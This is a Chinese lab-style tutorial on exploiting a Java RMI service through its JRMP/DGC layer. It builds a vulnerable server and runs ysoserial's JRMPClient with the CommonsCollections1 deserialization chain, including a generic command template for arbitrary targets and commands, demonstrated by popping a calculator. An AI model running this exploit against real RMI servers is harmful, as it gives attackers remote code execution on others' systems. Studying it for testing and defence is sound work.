0x01 前言

来学习查看与Bind攻击类似相比另外一条更为底层的攻击路径
主要是知道怎么攻击的就可以了,现在的RMI攻击程序,写的很全能了

0x02 环境

  1. 编辑器为: IntelliJ IDEA
  3. java版本:
  4. java version "1.7.0_80"
  5. Java(TM) SE Runtime Environment (build 1.7.0_80-b15)
  6. Java HotSpot(TM) 64-Bit Server VM (build 24.80-b11, mixed mode)
  8. 使用的架包:
  9. Commons Collections 3.1

0x03 攻击测试

0x03.1 案例介绍

还是有一个服务器,现在要攻击它,换种方法打

0x03.2 创建服务端

  1. // 目录结构
  2. ├── RMITest6
  3. │   ├── RMITest6Interface.java
  4. │   ├── RMIServer
  5. │   │    ├── RMIServerTest6.java
  6. │   │    └── RMITest6Impl.java
  1. // 公共接口
  2. package RMITest6;
  4. import java.rmi.Remote;
  5. import java.rmi.RemoteException;
  7. public interface RMITest6Interface extends Remote {
  8.     String test() throws RemoteException;
  9. }
  1. package RMITest6.RMIServer;
  3. import RMITest6.RMITest6Interface;
  5. import java.rmi.RemoteException;
  6. import java.rmi.server.UnicastRemoteObject;
  8. public class RMITest6Impl extends UnicastRemoteObject implements RMITest6Interface {
  9.     protected RMITest6Impl() throws RemoteException {
  10.         super();
  11.     }
  13.     @Override
  14.     public String test() throws RemoteException {
  15.         return "test6~";
  16.     }
  17. }
  1. package RMITest6.RMIServer;
  3. import java.rmi.Naming;
  4. import java.rmi.registry.LocateRegistry;
  6. public class RMIServerTest6 {
  7.     // 注册中心的服务器ip
  8.     public static final String RMI_HOST = "127.0.0.1";
  10.     // 注册中心设置的开放端口
  11.     public static final int RMI_PORT = 9998;
  13.     // RMI服务名称
  14.     public static final String RMI_NAME = "rmi://" + RMI_HOST + ":" + RMI_PORT + "/t6";
  16.     public static void main(String[] args) {
  17.         try {
  18.             // 创建注册中心
  19.             LocateRegistry.createRegistry(RMI_PORT);
  21.             // 服务端
  22.             Naming.bind(RMI_NAME, new RMITest6Impl());
  24.             // 输出该对象的访问地址
  25.             System.out.println("RMI服务启动成功,服务地址:" + RMI_NAME);
  26.         } catch (Exception e) {
  27.             e.printStackTrace();
  28.         }
  29.     }
  30. }
  36. // 运行它
  37. // 我这里的ip是127.0.0.1
  38. // 实际中肯定是外网地址例如: 101.34.246.17

0x03.3 攻击测试

  1. // 下载ysoserial
  2. // 然后按如下命令启动即可
  3. java -cp ysoserial-0.0.5-all.jar ysoserial.exploit.JRMPClient [服务器ip] [服务器开放RMI端口] [要使用的反序列化链] "要执行的命令"
  5. java -cp ysoserial-0.0.5-all.jar ysoserial.exploit.JRMPClient 127.0.0.1 9998 CommonsCollections1 "open /System/Applications/Calculator.app"
  8. // 运行结果
  9. 运行完毕以后,服务端会弹出一个计算器